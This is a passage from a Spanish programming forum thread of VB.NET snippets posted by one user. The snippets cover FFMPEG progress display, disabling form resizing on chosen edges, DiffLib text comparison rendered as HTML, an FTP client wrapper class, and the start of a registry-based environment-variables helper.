  49.        If e.Errors.Count <> 0 Then
  50.            sb.AppendLine(String.Format("Errors during operation: {0}", String.Join(Environment.NewLine, e.Errors)))
  51.        End If
  52.  
  53.        MessageBox.Show(sb.ToString, "FFMPEG", MessageBoxButtons.OK, MessageBoxIcon.Information)
  54.  
  55.    End Sub
  56.  
  57.    ' FFMPEG [Progress]
  58.    Private Sub FFMPEG_Progress(sender As Process, e As FFMPEG.ProgressEventArgs) _
  59.    Handles _FFMPEG.Progress
  60.  
  61.        ProgressBar1.Value = e.Percent
  62.  
  63.        Label1.Text = "Percent Done: " & CStr(e.Percent) & "%"
  64.        Label2.Text = "Video Duration: " & e.VideoDuration.ToString("hh\:mm\:ss")
  65.        Label3.Text = "Written Duration: " & e.Time.ToString("hh\:mm\:ss")
  66.        Label4.Text = "Written Data: " & (e.WrittenBytes / 1024L * 1024L).ToString("n1") & "MB"
  67.  
  68.    End Sub
  69.  
  70. End Class


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 21 Noviembre 2013, 16:10 pm
Desactivar la redimensión (resize) para ciertos lados del Form (izquierda, derecha, arriba, abajo, o esquinas...)

Código
  1. #Region " Form Resize Disabler "
  2.  
  3.    ' [ Form Resize Disabler ]
  4.    '
  5.    ' Examples:
  6.    ' Me.EnableResizeBottom = False
  7.    ' Me.EnableResizeTop = False
  8.  
  9.    Public Property EnableResizeTop As Boolean = True
  10.    Public Property EnableResizeLeft As Boolean = True
  11.    Public Property EnableResizeRight As Boolean = True
  12.    Public Property EnableResizeBottom As Boolean = True
  13.    Public Property EnableResizeTopLeft As Boolean = True
  14.    Public Property EnableResizeTopRight As Boolean = True
  15.    Public Property EnableResizeBottomLeft As Boolean = True
  16.    Public Property EnableResizeBottomRight As Boolean = True
  17.  
  18.    Private Enum NCHitTest As Integer
  19.        Transparent = -1
  20.        Nowhere = 0
  21.        Client = 1
  22.        Caption = 2
  23.        Left = 10
  24.        Right = 11
  25.        Top = 12
  26.        TopLeft = 13
  27.        TopRight = 14
  28.        Bottom = 15
  29.        BottomLeft = 16
  30.        BottomRight = 17
  31.        Border = 18
  32.    End Enum
  33.  
  34.    Protected Overrides Sub WndProc(ByRef m As Message)
  35.  
  36.        MyBase.WndProc(m)
  37.  
  38.        Select Case m.Msg
  39.  
  40.            Case &H84 ' WM_NCHITTEST
  41.  
  42.                Select Case CType(m.Result, NCHitTest)
  43.  
  44.                    Case NCHitTest.Top
  45.                        If Not Me.EnableResizeTop Then m.Result = New IntPtr(NCHitTest.Caption)
  46.  
  47.                    Case NCHitTest.Left
  48.                        If Not Me.EnableResizeLeft Then m.Result = New IntPtr(NCHitTest.Caption)
  49.  
  50.                    Case NCHitTest.Right
  51.                        If Not Me.EnableResizeRight Then m.Result = New IntPtr(NCHitTest.Caption)
  52.  
  53.                    Case NCHitTest.Bottom
  54.                        If Not Me.EnableResizeBottom Then m.Result = New IntPtr(NCHitTest.Caption)
  55.  
  56.                    Case NCHitTest.TopLeft
  57.                        If Not Me.EnableResizeTopLeft Then m.Result = New IntPtr(NCHitTest.Caption)
  58.  
  59.                    Case NCHitTest.TopRight
  60.                        If Not Me.EnableResizeTopRight Then m.Result = New IntPtr(NCHitTest.Caption)
  61.  
  62.                    Case NCHitTest.BottomLeft
  63.                        If Not Me.EnableResizeBottomLeft Then m.Result = New IntPtr(NCHitTest.Caption)
  64.  
  65.                    Case NCHitTest.BottomRight
  66.                        If Not Me.EnableResizeBottomRight Then m.Result = New IntPtr(NCHitTest.Caption)
  67.  
  68.                End Select
  69.  
  70.        End Select
  71.  
  72.    End Sub
  73.  
  74. #End Region

Ejemplo de uso:

Código
  1.    Private Sub Form_Shown() Handles MyBase.Shown
  2.        Me.EnableResizeTop = False
  3.        Me.EnableResizeBottom = False
  4.    End Sub


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 22 Noviembre 2013, 14:46 pm
Un ejemplo de uso de la librería DiffLib http://difflib.codeplex.com/releases/view/57226
Para comparar texto.

(http://img12.imageshack.us/img12/702/0ya0.png)

Código
  1. ' [ DiffLib Examples ]
  2. '
  3. ' // By Elektro H@cker
  4. '
  5. ' Instructions:
  6. '
  7. ' 1. Reference the "DiffLib.dll" into the project.
  8.  
  9.  
  10. #Region " DiffLib Examples "
  11.  
  12. Public Class Form1
  13.  
  14.    ReadOnly text1 As String = "This is a test of the Diff implementation, with some text that is deleted."
  15.    ReadOnly text2 As String = "This is another test of the same implementation, with some more text."
  16.  
  17.    Private Sub Test()
  18.  
  19.        HtmlLabel1.Text = DumpDiff(New DiffLib.Diff(Of Char)(text1, text2),
  20.                                   KnownColor.Black,
  21.                                   KnownColor.Black,
  22.                                   KnownColor.Black,
  23.                                   KnownColor.Transparent,
  24.                                   KnownColor.YellowGreen,
  25.                                   KnownColor.Red,
  26.                                   13)
  27.  
  28.    End Sub
  29.  
  30.    Private Function DumpDiff(ByVal changes As IEnumerable(Of DiffLib.DiffChange),
  31.                              ByVal Forecolor As KnownColor,
  32.                              ByVal ForecolorAdded As KnownColor,
  33.                              ByVal ForecolorDeleted As KnownColor,
  34.                              ByVal BackColor As KnownColor,
  35.                              ByVal BackColorAdded As KnownColor,
  36.                              ByVal BackColorDeleted As KnownColor,
  37.                              Optional ByVal FontSize As Integer = 10) As String
  38.  
  39.        Dim html As New System.Text.StringBuilder()
  40.  
  41.        Dim i1 As Integer = 0
  42.        Dim i2 As Integer = 0
  43.  
  44.        For Each change As DiffLib.DiffChange In changes
  45.  
  46.            If change.Equal Then
  47.  
  48.  
  49.                html.Append(String.Format("<span style='color: {0}; background-color: {1}; font-size: {2}pt'>{3}</span>",
  50.                                          Forecolor.ToString,
  51.                                          BackColor.ToString,
  52.                                          CStr(FontSize),
  53.                                          text1.Substring(i1, change.Length1)))
  54.  
  55.            Else
  56.  
  57.                html.Append(String.Format("<span style='color: {0}; background-color: {1}; font-size: {2}pt; text-decoration: line-through;'>{3}</span>",
  58.                                         ForecolorDeleted.ToString,
  59.                                         BackColorDeleted.ToString,
  60.                                          CStr(FontSize),
  61.                                         text1.Substring(i1, change.Length1)))
  62.  
  63.                html.Append(String.Format("<span style='color: {0}; background-color: {1}; font-size: {2}pt'>{3}</span>",
  64.                                         ForecolorAdded.ToString,
  65.                                         BackColorAdded.ToString,
  66.                                          CStr(FontSize),
  67.                                         text2.Substring(i2, change.Length2)))
  68.  
  69.            End If
  70.  
  71.            i1 += change.Length1
  72.            i2 += change.Length2
  73.  
  74.        Next change
  75.  
  76.        Return html.ToString
  77.  
  78.    End Function
  79.  
  80. End Class
  81.  
  82. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 24 Noviembre 2013, 00:36 am
un ayudante para la librería FTPClient http://netftp.codeplex.com/

Código
  1. Imports System.Net
  2. Imports System.Net.FtpClient
  3. Imports System.Net.FtpClient.Extensions
  4.  
  5. #Region " FTPClient Helper "
  6.  
  7. ' [ FTPClient Helper ]
  8. '
  9. ' // By Elektro H@cker
  10.  
  11. #Region " Usage Examples "
  12.  
  13. 'Public Class Form1
  14.  
  15. '    Private WithEvents UploadClient As New System.Net.WebClient()
  16. '    Private WithEvents DownloadClient As New System.Net.WebClient()
  17.  
  18. '    Private ftp As New FTP("sitio ftp", "username", "password")
  19.  
  20. '    Private Sub Test() Handles MyBase.Shown
  21.  
  22. '        ftp.Connect()
  23. '        ftp.CreateDirectory("/DirectoryName", True)
  24. '        ftp.UploadFile(UploadClient, "C:\File.txt", "/DirectoryName/NewFile.txt", False)
  25. '        ftp.DownloadFile(DownloadClient, "/DirectoryName/NewFile.txt", "c:\DownloadedFile.txt", True)
  26.  
  27. '    End Sub
  28.  
  29. '    Private Sub Client_UploadProgress(sender As System.Net.WebClient, e As System.Net.UploadProgressChangedEventArgs) _
  30. '    Handles UploadClient.UploadProgressChanged
  31.  
  32. '        Label_Upload.Text = e.ProgressPercentage & "%"
  33.  
  34. '    End Sub
  35.  
  36. '    Private Sub Client_UploadCompleted(sender As System.Net.WebClient, e As System.Net.UploadFileCompletedEventArgs) _
  37. '    Handles UploadClient.UploadFileCompleted
  38.  
  39. '        Label_UploadCompleted.Text = e.Result.ToString
  40.  
  41. '    End Sub
  42.  
  43. '    Private Sub Client_DownloadProgress(sender As System.Net.WebClient, e As System.Net.DownloadProgressChangedEventArgs) _
  44. '    Handles DownloadClient.DownloadProgressChanged
  45.  
  46. '        Label_Download.Text = e.ProgressPercentage & "%"
  47.  
  48. '    End Sub
  49.  
  50. '    Private Sub Client_DownloadCompleted(sender As System.Net.WebClient, e As System.ComponentModel.AsyncCompletedEventArgs) _
  51. '     Handles DownloadClient.DownloadFileCompleted
  52.  
  53. '        Label_DownloadCompleted.Text = "Done!"
  54.  
  55. '    End Sub
  56.  
  57. 'End Class
  58.  
  59. #End Region
  60.  
  61. Public Class FTP
  62.  
  63. #Region " Variables "
  64.  
  65.    Private conn As New FtpClient
  66.  
  67.    ''' <summary>
  68.    ''' The FTP site.
  69.    ''' </summary>
  70.    Private Property host As String = String.Empty
  71.  
  72.    ''' <summary>
  73.    ''' The user name.
  74.    ''' </summary>
  75.    Private Property user As String = String.Empty
  76.  
  77.    ''' <summary>
  78.    ''' The user password.
  79.    ''' </summary>
  80.    Private Property pass As String = String.Empty
  81.  
  82.    ' Friend m_reset As New ManualResetEvent(False) ' Use it for CallBacks
  83.  
  84. #End Region
  85.  
  86. #Region " Constructor "
  87.  
  88.    ''' <summary>
  89.    ''' .
  90.    ''' </summary>
  91.    ''' <param name="host">Indicates the ftp site.</param>
  92.    ''' <param name="user">Indicates the username.</param>
  93.    ''' <param name="pass">Indicates the password.</param>
  94.    Public Sub New(ByVal host As String,
  95.                   ByVal user As String,
  96.                   ByVal pass As String)
  97.  
  98.        If Not host.ToLower.StartsWith("ftp://") Then
  99.            Me.host = "ftp://" & host
  100.        Else
  101.            Me.host = host
  102.        End If
  103.  
  104.        If Me.host.Last = "/" Then
  105.            Me.host = Me.host.Remove(Me.host.Length - 1)
  106.        End If
  107.  
  108.        Me.user = user
  109.        Me.pass = pass
  110.  
  111.        With conn
  112.            .Host = If(host.Last = "/", host.Remove(host.Length - 1), host)
  113.            .Credentials = New NetworkCredential(Me.user, Me.pass)
  114.        End With
  115.  
  116.    End Sub
  117.  
  118. #End Region
  119.  
  120. #Region " Public Methods "
  121.  
  122.    ''' <summary>
  123.    ''' Connects to server.
  124.    ''' </summary>
  125.    Public Sub Connect()
  126.        conn.Connect()
  127.    End Sub
  128.  
  129.    ''' <summary>
  130.    ''' Disconnects from server.
  131.    ''' </summary>
  132.    Public Sub Disconnect()
  133.        conn.Disconnect()
  134.    End Sub
  135.  
  136.    ''' <summary>
  137.    ''' Creates a directory on server.
  138.    ''' </summary>
  139.    ''' <param name="directorypath">Indicates the ftp directory path.</param>
  140.    ''' <param name="force">Try to force all non-existant pieces of the path to be created.</param>
  141.    Public Sub CreateDirectory(ByVal directorypath As String, ByVal force As Boolean)
  142.        conn.CreateDirectory(directorypath, force)
  143.    End Sub
  144.  
  145.    ''' <summary>
  146.    ''' Creates a directory on server.
  147.    ''' </summary>
  148.    ''' <param name="directorypath">Indicates the ftp directory path.</param>
  149.    ''' <param name="force">Try to force all non-existant pieces of the path to be created.</param>
  150.    ''' <param name="FtpListOption">Options that dictate how a list is performed ans what information is gathered.</param>
  151.    Public Sub DeleteDirectory(ByVal directorypath As String,
  152.                               ByVal force As Boolean,
  153.                               Optional ByVal FtpListOption As FtpListOption =
  154.                               FtpListOption.AllFiles Or FtpListOption.ForceList)
  155.  
  156.        ' Remove the directory and all objects beneath it. The last parameter
  157.        ' forces System.Net.FtpClient to use LIST -a for getting a list of objects
  158.        ' beneath the specified directory.
  159.        conn.DeleteDirectory(directorypath, force, FtpListOption)
  160.  
  161.    End Sub
  162.  
  163.    ''' <summary>
  164.    ''' Deletes a file on server.
  165.    ''' </summary>
  166.    ''' <param name="filepath">Indicates the ftp file path.</param>
  167.    Public Sub DeleteFile(ByVal filepath As String)
  168.        conn.DeleteFile(filepath)
  169.    End Sub
  170.  
  171.    ''' <summary>
  172.    ''' Checks if a directory exist on server.
  173.    ''' </summary>
  174.    ''' <param name="directorypath">Indicates the ftp directory path.</param>
  175.    Public Function DirectoryExists(ByVal directorypath As String) As Boolean
  176.        Return conn.DirectoryExists(directorypath)
  177.    End Function
  178.  
  179.    ''' <summary>
  180.    ''' Executes a command on server.
  181.    ''' </summary>
  182.    ''' <param name="command">Indicates the command to execute on the server.</param>
  183.    ''' <returns>Returns an object containing the server reply information.</returns>
  184.    Public Function Execute(ByVal command As String) As FtpReply
  185.        Return (InlineAssignHelper(New FtpReply, conn.Execute(command)))
  186.    End Function
  187.  
  188.    ''' <summary>
  189.    ''' Tries to execute a command on server.
  190.    ''' </summary>
  191.    ''' <param name="command">Indicates the command to execute on the server.</param>
  192.    ''' <returns>Returns TRUE if command execution successfull, otherwise returns False.</returns>
  193.    Public Function TryExecute(ByVal command As String) As Boolean
  194.        Dim reply As FtpReply = Nothing
  195.        Return (InlineAssignHelper(reply, conn.Execute(command))).Success
  196.    End Function
  197.  
  198.    ''' <summary>
  199.    ''' Checks if a file exist on server.
  200.    ''' </summary>
  201.    ''' <param name="filepath">Indicates the ftp file path.</param>
  202.    ''' <param name="FtpListOption">Options that dictate how a list is performed ans what information is gathered.</param>
  203.    Public Function FileExists(ByVal filepath As String,
  204.                               Optional ByVal FtpListOption As FtpListOption =
  205.                               FtpListOption.AllFiles Or FtpListOption.ForceList) As Boolean
  206.  
  207.        ' The last parameter forces System.Net.FtpClient to use LIST -a
  208.        ' for getting a list of objects in the parent directory.
  209.        Return conn.FileExists(filepath, FtpListOption)
  210.  
  211.    End Function
  212.  
  213.    ''' <summary>
  214.    ''' Retrieves a checksum of the given file
  215.    ''' using a checksumming method that the server supports, if any.
  216.    ''' The algorithm used goes in this order:
  217.    ''' 1. HASH command (server preferred algorithm).
  218.    ''' 2. MD5 / XMD5 commands
  219.    ''' 3. XSHA1 command
  220.    ''' 4. XSHA256 command
  221.    ''' 5. XSHA512 command
  222.    ''' 6. XCRC command
  223.    ''' </summary>
  224.    ''' <param name="filepath">Indicates the ftp file path.</param>
  225.    Public Function GetChecksum(ByVal filepath As String) As FtpHash
  226.        Return conn.GetChecksum(filepath)
  227.    End Function
  228.  
  229.    ''' <summary>
  230.    ''' Gets the checksum of file on server and compare it with the checksum of local file.
  231.    ''' </summary>
  232.    ''' <param name="filepath">Indicates the ftp file path.</param>
  233.    ''' <param name="localfilepath">Indicates the local disk file path.</param>
  234.    ''' <param name="algorithm">Indicates the algorithm that should be used to verify checksums.</param>
  235.    ''' <returns>Returns TRUE if both checksums are equal, otherwise returns False.</returns>
  236.    Public Function VerifyChecksum(ByVal filepath As String,
  237.                                   ByVal localfilepath As String,
  238.                                   ByVal algorithm As FtpHashAlgorithm) As Boolean
  239.  
  240.        Dim hash As FtpHash = Nothing
  241.  
  242.        hash = conn.GetChecksum(filepath)
  243.        ' Make sure it returned a, to the best of our knowledge, valid hash object.
  244.        ' The commands for retrieving checksums are
  245.        ' non-standard extensions to the protocol so we have to
  246.        ' presume that the response was in a format understood by
  247.        ' System.Net.FtpClient and parsed correctly.
  248.        '
  249.        ' In addition, there is no built-in support for verifying CRC hashes.
  250.        ' You will need to write you own or use a third-party solution.
  251.        If hash.IsValid AndAlso hash.Algorithm <> algorithm Then
  252.            Return hash.Verify(localfilepath)
  253.        Else
  254.            Return Nothing
  255.        End If
  256.  
  257.    End Function
  258.  
  259.    ''' <summary>
  260.    ''' Gets the size of file.
  261.    ''' </summary>
  262.    ''' <param name="filepath">Indicates the ftp file path.</param>
  263.    Public Function GetFileSize(ByVal filepath As String) As Long
  264.        Return conn.GetFileSize(filepath)
  265.    End Function
  266.  
  267.    ''' <summary>
  268.    ''' Gets the currently HASH algorithm used for the HASH command on server.
  269.    ''' </summary>
  270.    Public Function GetHashAlgorithm() As FtpHashAlgorithm
  271.        Return conn.GetHashAlgorithm()
  272.    End Function
  273.  
  274.    ''' <summary>
  275.    ''' Gets the modified time of file.
  276.    ''' </summary>
  277.    ''' <param name="filepath">Indicates the ftp file path.</param>
  278.    Public Function GetModifiedTime(ByVal filepath As String) As Date
  279.        Return conn.GetModifiedTime(filepath)
  280.    End Function
  281.  
  282.    ''' <summary>
  283.    ''' Returns a file/directory listing using the NLST command.
  284.    ''' </summary>
  285.    ''' <param name="directorypath">Indicates the ftp file path.</param>
  286.    Public Function GetNameListing(ByVal directorypath As String) As String()
  287.        Return conn.GetNameListing(directorypath)
  288.    End Function
  289.  
  290.    ''' <summary>
  291.    ''' Gets the current working directory on server.
  292.    ''' </summary>
  293.    Public Function GetWorkingDirectory() As String
  294.        Return conn.GetWorkingDirectory()
  295.    End Function
  296.  
  297.    ''' <summary>
  298.    ''' Opens the specified file to be appended to...
  299.    ''' </summary>
  300.    ''' <param name="filepath">Indicates the ftp file path.</param>
  301.    Public Function OpenAppend(ByVal filepath As String) As IO.Stream
  302.        Return conn.OpenAppend(filepath)
  303.    End Function
  304.  
  305.    ''' <summary>
  306.    ''' Opens the specified file for reading.
  307.    ''' </summary>
  308.    ''' <param name="filepath">Indicates the ftp file path.</param>
  309.    Public Function OpenRead(ByVal filepath As String) As IO.Stream
  310.        Return conn.OpenRead(filepath)
  311.    End Function
  312.  
  313.    ''' <summary>
  314.    ''' Opens the specified file for writing.
  315.    ''' </summary>
  316.    ''' <param name="filepath">Indicates the ftp file path.</param>
  317.    Public Function OpenWrite(ByVal filepath As String) As IO.Stream
  318.        Return conn.OpenWrite(filepath)
  319.    End Function
  320.  
  321.    ''' <summary>
  322.    ''' Rename a file on the server.
  323.    ''' </summary>
  324.    ''' <param name="filepath">Indicates the ftp file path.</param>
  325.    ''' <param name="newfilepath">Indicates the new ftp file path.</param>
  326.    Public Sub RenameFile(ByVal filepath As String, ByVal newfilepath As String)
  327.        If conn.FileExists(filepath) Then
  328.            conn.Rename(filepath, newfilepath)
  329.        Else
  330.            Throw New Exception(filepath & " File does not exist on server.")
  331.        End If
  332.    End Sub
  333.  
  334.    ''' <summary>
  335.    ''' Rename a directory on the server.
  336.    ''' </summary>
  337.    ''' <param name="directorypath">Indicates the ftp file path.</param>
  338.    ''' <param name="newdirectorypath">Indicates the new ftp file path.</param>
  339.    Public Sub RenameDirectory(ByVal directorypath As String, ByVal newdirectorypath As String)
  340.        If conn.DirectoryExists(directorypath) Then
  341.            conn.Rename(directorypath, newdirectorypath)
  342.        Else
  343.            Throw New Exception(directorypath & " Directory does not exist on server.")
  344.        End If
  345.    End Sub
  346.  
  347.    ''' <summary>
  348.    ''' Tells the server wich hash algorithm to use for the HASH command.
  349.    ''' </summary>
  350.    ''' <param name="algorithm">Indicates the HASH algorithm.</param>
  351.    Public Function SetHashAlgorithm(ByVal algorithm As FtpHashAlgorithm) As Boolean
  352.        If conn.HashAlgorithms.HasFlag(algorithm) Then
  353.            conn.SetHashAlgorithm(algorithm)
  354.            Return True
  355.        Else
  356.            Return False
  357.        End If
  358.    End Function
  359.  
  360.    ''' <summary>
  361.    ''' Sets the working directory on the server.
  362.    ''' </summary>
  363.    ''' <param name="directorypath">Indicates the ftp directory path.</param>
  364.    Public Sub SetWorkingDirectory(ByVal directorypath As String)
  365.        conn.SetWorkingDirectory(directorypath)
  366.    End Sub
  367.  
  368.    ''' <summary>
  369.    ''' Gets a directory list on the specified path.
  370.    ''' </summary>
  371.    ''' <param name="directorypath">Indicates the ftp directory path.</param>
  372.    ''' <param name="FtpListOption">Options that dictate how a list is performed ans what information is gathered.</param>
  373.    Public Function GetDirectories(ByVal directorypath As String,
  374.                                   Optional ByVal FtpListOption As FtpListOption =
  375.                                   FtpListOption.AllFiles) As FtpListItem()
  376.  
  377.        Return conn.GetListing(directorypath, FtpListOption).
  378.               Where(Function(item) item.Type = FtpFileSystemObjectType.Directory)
  379.  
  380.    End Function
  381.  
  382.    ''' <summary>
  383.    ''' Gets a file list on the specified path.
  384.    ''' </summary>
  385.    ''' <param name="directorypath">Indicates the ftp directory path.</param>
  386.    ''' <param name="FtpListOption">Options that dictate how a list is performed ans what information is gathered.</param>
  387.    Public Function GetFiles(ByVal directorypath As String,
  388.                             Optional ByVal FtpListOption As FtpListOption =
  389.                             FtpListOption.AllFiles) As FtpListItem()
  390.  
  391.        Return conn.GetListing(directorypath, FtpListOption).
  392.               Where(Function(item) item.Type = FtpFileSystemObjectType.File)
  393.  
  394.    End Function
  395.  
  396.    ''' <summary>
  397.    ''' Gets a link list on the specified path.
  398.    ''' </summary>
  399.    ''' <param name="directorypath">Indicates the ftp directory path.</param>
  400.    ''' <param name="FtpListOption">Options that dictate how a list is performed ans what information is gathered.</param>
  401.    Public Function GetLinks(ByVal directorypath As String,
  402.                             Optional ByVal FtpListOption As FtpListOption =
  403.                             FtpListOption.AllFiles) As FtpListItem()
  404.  
  405.        Return conn.GetListing(directorypath, FtpListOption).
  406.               Where(Function(item) item.Type = FtpFileSystemObjectType.Link)
  407.  
  408.    End Function
  409.  
  410.    ''' <summary>
  411.    ''' Gets a file/folder list on the specified path.
  412.    ''' </summary>
  413.    ''' <param name="directorypath">Indicates the ftp directory path.</param>
  414.    ''' <param name="FtpListOption">Options that dictate how a list is performed ans what information is gathered.</param>
  415.    Public Function GetListing(ByVal directorypath As String,
  416.                               Optional ByVal FtpListOption As FtpListOption =
  417.                               FtpListOption.AllFiles) As FtpListItem()
  418.  
  419.        Return conn.GetListing(directorypath, FtpListOption)
  420.  
  421.    End Function
  422.  
  423.    ''' <summary>
  424.    ''' Log to a console window
  425.    ''' </summary>
  426.    Public Sub LogToConsole()
  427.        FtpTrace.AddListener(New ConsoleTraceListener())
  428.        ' now use System.Net.FtpCLient as usual and the server transactions
  429.        ' will be written to the Console window.
  430.    End Sub
  431.  
  432.    ''' <summary>
  433.    ''' Log to a text file
  434.    ''' </summary>
  435.    ''' <param name="filepath">Indicates the file where to save the log.</param>
  436.    Public Sub LogToFile(ByVal filepath As String)
  437.        FtpTrace.AddListener(New TextWriterTraceListener(filepath))
  438.        ' now use System.Net.FtpCLient as usual and the server transactions
  439.        ' will be written to the specified log file.
  440.    End Sub
  441.  
  442.    ''' <summary>
  443.    ''' Uploads a file from FTP.
  444.    ''' </summary>
  445.    ''' <param name="UploadClient">Indicates the WebClient object to upload the file.</param>
  446.    ''' <param name="filepath">Indicates the ftp fle path.</param>
  447.    ''' <param name="localfilepath">Specifies the local path where to save the downloaded file.</param>
  448.    ''' <param name="Asynchronous">Indicates whether the download should be an Asynchronous operation,
  449.    ''' to raise WebClient events.</param>
  450.    Public Sub UploadFile(ByRef UploadClient As WebClient,
  451.                          ByVal localfilepath As String,
  452.                          Optional ByVal filepath As String = Nothing,
  453.                          Optional ByVal Asynchronous As Boolean = False)
  454.  
  455.        If filepath Is Nothing Then
  456.            filepath = Me.host & "/" & New IO.FileInfo(localfilepath).Name
  457.        ElseIf filepath.StartsWith("/") Then
  458.            filepath = Me.host & filepath
  459.        Else
  460.            filepath = Me.host & "/" & filepath
  461.        End If
  462.  
  463.        With UploadClient
  464.            .Credentials = New NetworkCredential(Me.user, Me.pass)
  465.            If Asynchronous Then
  466.                .UploadFileAsync(New Uri(filepath), "STOR", localfilepath)
  467.            Else
  468.                .UploadFile(New Uri(filepath), "STOR", localfilepath)
  469.            End If
  470.        End With
  471.    End Sub
  472.  
  473.    ''' <summary>
  474.    ''' Downloads a file from FTP.
  475.    ''' </summary>
  476.    ''' <param name="DownloadClient">Indicates the WebClient object to download the file.</param>
  477.    ''' <param name="filepath">Indicates the ftp fle path.</param>
  478.    ''' <param name="localfilepath">Specifies the local path where to save the downloaded file.</param>
  479.    ''' <param name="Asynchronous">Indicates whether the download should be an Asynchronous operation,
  480.    ''' to raise WebClient events.</param>
  481.    Public Sub DownloadFile(ByRef DownloadClient As WebClient,
  482.                            ByVal filepath As String,
  483.                            ByVal localfilepath As String,
  484.                            Optional ByVal Asynchronous As Boolean = False)
  485.  
  486.        If filepath.StartsWith("/") Then
  487.            filepath = Me.host & filepath
  488.        Else
  489.            filepath = Me.host & "/" & filepath
  490.        End If
  491.  
  492.        MsgBox(filepath)
  493.        With DownloadClient
  494.            .Credentials = New NetworkCredential(Me.user, Me.pass)
  495.            If Asynchronous Then
  496.                .DownloadFileAsync(New Uri(filepath), localfilepath)
  497.            Else
  498.                .DownloadFile(New Uri(filepath), localfilepath)
  499.            End If
  500.        End With
  501.    End Sub
  502.  
  503. #End Region
  504.  
  505. #Region " Miscellaneous methods "
  506.  
  507.    Private Shared Function InlineAssignHelper(Of T)(ByRef target As T, value As T) As T
  508.        target = value
  509.        Return value
  510.    End Function
  511.  
  512. #End Region
  513.  
  514. End Class
  515.  
  516. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 25 Noviembre 2013, 01:42 am
Un ayudante para agregar y/o eliminar variables de entorno en el sistema.

Código
  1. #Region " Environment Variables Helper "
  2.  
  3. ' [ Environment Variables Helper ]
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. ' Examples:
  8. ' EnvironmentVariables.Add("DirFiles", "Dir /B ""*.*""", EnvironmentVariables.EnvironmentKind.CurrentUser)
  9. ' EnvironmentVariables.Remove("DirFiles", EnvironmentVariables.EnvironmentKind.CurrentUser)
  10.  
  11. Public Class EnvironmentVariables
  12.  
  13. #Region " API, Constants, Enums"
  14.  
  15.    ''' <summary>
  16.    ''' User Environment Subkey.
  17.    ''' </summary>
  18.    Private Shared ReadOnly UserEnvironmentKey As String = "Environment\"
  19.  
  20.    ''' <summary>
  21.    ''' System Environment Subkey.
  22.    ''' </summary>
  23.    Private Shared ReadOnly SystemEnvironmentKey As String = "SYSTEM\CurrentControlSet\Control\Session Manager\Environment\"
  24.  
  25.    ''' <summary>
  26.    ''' Sends the specified message to one or more windows.
  27.    ''' </summary>
  28.    <System.Runtime.InteropServices.
  29.    DllImport("user32.dll", SetLastError:=True)> _
  30.    Public Shared Function SendMessageTimeout(
  31.                  ByVal windowHandle As IntPtr,
  32.                  ByVal Msg As Integer,
  33.                  ByVal wParam As IntPtr,
  34.                  ByVal lParam As String,
  35.                  ByVal flags As SendMessageTimeoutFlags,
  36.                  ByVal timeout As Integer,
  37.                  ByRef result As IntPtr
  38.    ) As IntPtr
  39.    End Function
  40.  
  41.    ''' <summary>
  42.    ''' Kind of environment.
  43.    ''' </summary>
  44.    Public Enum EnvironmentKind As Short
  45.  
  46.        ''' <summary>
  47.        ''' Indicates that the environment variable
  48.        ''' should only be accesible for the current user.
  49.        ''' </summary>
  50.        CurrentUser = 0
  51.  
  52.        ''' <summary>
  53.        ''' Indicates that the environment variable
  54.        ''' should be accesible for all users.
  55.        ''' </summary>
  56.        System = 1
  57.  
  58.    End Enum
  59.  
  60.    ''' <summary>
  61.    ''' Sends the specified message to one or more windows.
  62.    ''' </summary>
  63.    <Flags()> _
  64.    Public Enum SendMessageTimeoutFlags As Integer
  65.  
  66.        ''' <summary>
  67.        ''' The calling thread is not prevented from processing
  68.        ''' other requests while waiting for the function to return.
  69.        ''' </summary>
  70.        SMTO_NORMAL = &H0
  71.  
  72.        ''' <summary>
  73.        ''' Prevents the calling thread from processing any other requests until the function returns.
  74.        ''' </summary>
  75.        SMTO_BLOCK = &H1
  76.  
  77.        ''' <summary>
  78.        ''' The function returns without waiting for the time-out period
  79.        ''' to elapse if the receiving thread appears to not respond or "hangs."
  80.        ''' </summary>
  81.        SMTO_ABORTIFHUNG = &H2
  82.  
  83.        ''' <summary>
  84.        ''' The function does not enforce the time-out period
  85.        ''' as long as the receiving thread is processing messages.
  86.        ''' </summary>
  87.        SMTO_NOTIMEOUTIFNOTHUNG = &H8
  88.  
  89.        ''' <summary>
  90.        ''' The function should return 0 if the receiving window is destroyed
  91.        ''' or its owning thread dies while the message is being processed.
  92.        ''' </summary>
  93.        SMTO_ERRORONEXIT = &H20
  94.  
  95.    End Enum
  96.  
  97.    ''' <summary>
  98.    ''' A message that is sent to all top-level windows when
  99.    ''' the SystemParametersInfo function changes a system-wide setting or when policy settings have changed.
  100.    ''' <remarks>
  101.    ''' Applications should send WM_SETTINGCHANGE to all top-level windows when they make changes to system parameters
  102.    ''' (This message cannot be sent directly to a window.)
  103.    '''  To send the WM_SETTINGCHANGE message to all top-level windows,
  104.    ''' use the SendMessageTimeout function with the hwnd parameter set to HWND_BROADCAST.
  105.    ''' </remarks>
  106.    ''' </summary>
  107.    Private Const WM_SETTINGCHANGE = &H1A
  108.  
  109.    ''' <summary>
  110.    ''' the message is sent to all top-level windows in the system,
  111.    ''' including disabled or invisible unowned windows.
  112.    ''' The function does not return until each window has timed out.
  113.    ''' Therefore, the total wait time can be up to the value of uTimeout multiplied by the number of top-level windows.
  114.    ''' </summary>
  115.    Public Const HWND_BROADCAST = &HFFFF&
  116.  
  117. #End Region
  118.  
  119. #Region " Public methods "
  120.  
  121.    ''' <summary>
  122.    ''' Sets an environment variable.
  123.    ''' <remarks>If a variable already exists, will be replaced.</remarks>
  124.    ''' </summary>
  125.    ''' <param name="VariableName">Indicates the variable name.</param>
  126.    ''' <param name="Value">Indicates the variable value.</param>
  127.    ''' <param name="EnvironmentKind">Indicates the kind of environment where the variable should be added.</param>
  128.    Public Shared Sub Add(ByVal VariableName As String,
  129.                   ByVal Value As String,
  130.                   ByVal EnvironmentKind As EnvironmentKind)
  131.  
  132.        Select Case EnvironmentKind
  133.  
  134.            Case EnvironmentKind.CurrentUser
  135.                My.Computer.Registry.CurrentUser.
  136.                    OpenSubKey(UserEnvironmentKey, True).
  137.                    SetValue(VariableName, Value)
  138.  
  139.            Case EnvironmentKind.System
